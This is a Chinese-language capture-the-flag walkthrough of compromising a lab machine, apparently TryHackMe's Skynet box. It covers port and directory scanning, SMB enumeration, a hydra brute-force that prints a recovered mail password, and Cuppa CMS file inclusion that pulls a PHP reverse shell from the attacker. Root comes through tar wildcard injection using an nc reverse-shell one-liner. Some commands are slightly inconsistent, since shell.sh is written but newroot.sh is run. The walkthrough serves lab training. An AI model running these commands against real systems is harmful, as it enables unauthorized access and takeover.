1.nmap 扫ip看开放端口
sudo -sV -sS xxxx

2.如果发现了80网站,尝试爆破子域名
使用GoBuster进行爆破
gobuster -u http://<ip> -w <单词列表位置> -t 40
gobuster dir -u http://10.10.208.26:80 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 40

3.尝试访问结果403,尝试爆破smb(SMBMap 允许用户枚举整个域中的 samba 共享驱动器)
smbmap -H 10.10.208.26

从权限上看,anonymous有只读权限。通过命令
smbclient //<ip>/anonymous

(或者使用 enum4linux $ip 同样可以枚举出来,下图就是效果截图,同样看出了一个用户名为 milesdyson):

4.登陆上smb后,ls命令看目录,使用get命令获取想要的文件,使用cd 命令切换目录:

下载到本地后的attention.txt文件,显示milesdyson改过密码,可以针对这个账号进行爆破。

下图是随意输入账号密码,通过检查网页后,通过network抓包。查看request部分,得出下面的信息用于爆破
login_username=milesdyson&secretkey=dad&js_autodetect_results=1&just_logged_in=1
然后根据下图的erro信息的Unknown……等内容拼凑进命令中。

hydra -l milesdyson -P log1.txt 10.10.235.31 -V http-form-post ‘/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect.’ -t 20

下面是登陆进去,可以看到重置了密码

)s{A&2Z=F^n_E.B`

进到notes目录后,找可疑文件,下载到本地查看

上图发现一个目录,尝试访问它

接下来可以尝试gobuster爆破它的子目录
gobuster dir -u http://10.10.235.31/45kra24zxs28v3yd/ -w wordlist.txt的位置 -t 10

上图可以发现根据这个子目录又扫出来了一个新的目录(之前没扫出来是因为字典里没有)

5.知道是什么软件后 在 searchsploit找:
searchsploit cuppa,查找payload路径:

下图是这个漏洞的poc,根据图中的url进行修改,可以看出能本地包含。最终目的是远程文件包含。

下图是本地包含的验证

下面构建shell
使用/usr/share/laudanum/php/php-reverse-shell.php的反向shell文件,只需要修改这个文件的ip和端口为攻击机的ip和监听端口就行。
然后在攻击机开一个http服务,要通过远程文件包含,将这个shell包含到受害主机本地,在攻击机使用nc进行监听。像下图可以看到,在url包含这个shell的时候,反弹了一个shell到攻击机上。

python -c ‘import pty;pty.spawn(“/bin/bash”)’ 来得到一个交互式的shell
针对这列路径找值得关注的文件或者目录,milesdyson有一个backup文件夹,查看信息,如下图

看得出来是备份打包 /var/www/html下的文件。(注意,这有可能是定期的,所以可以关注计划任务 /etc/crontab

可见这个backup.sh真是一个计划任务。针对这点寻找利用方法来进行提权。
到了提权环节,根据sh文件中的 tar ,在https://gtfobins.github.io/gtfobins/tar/找到相关利用方式:

在一个有读写权限的文件夹下运行下面命令,如在/var/www/html下
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.64.63 1234 >/tmp/f" > shell.sh
然后运行下面的命令:
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh newroot.sh"
攻击机监听1234端口,就能拿到反弹的shell
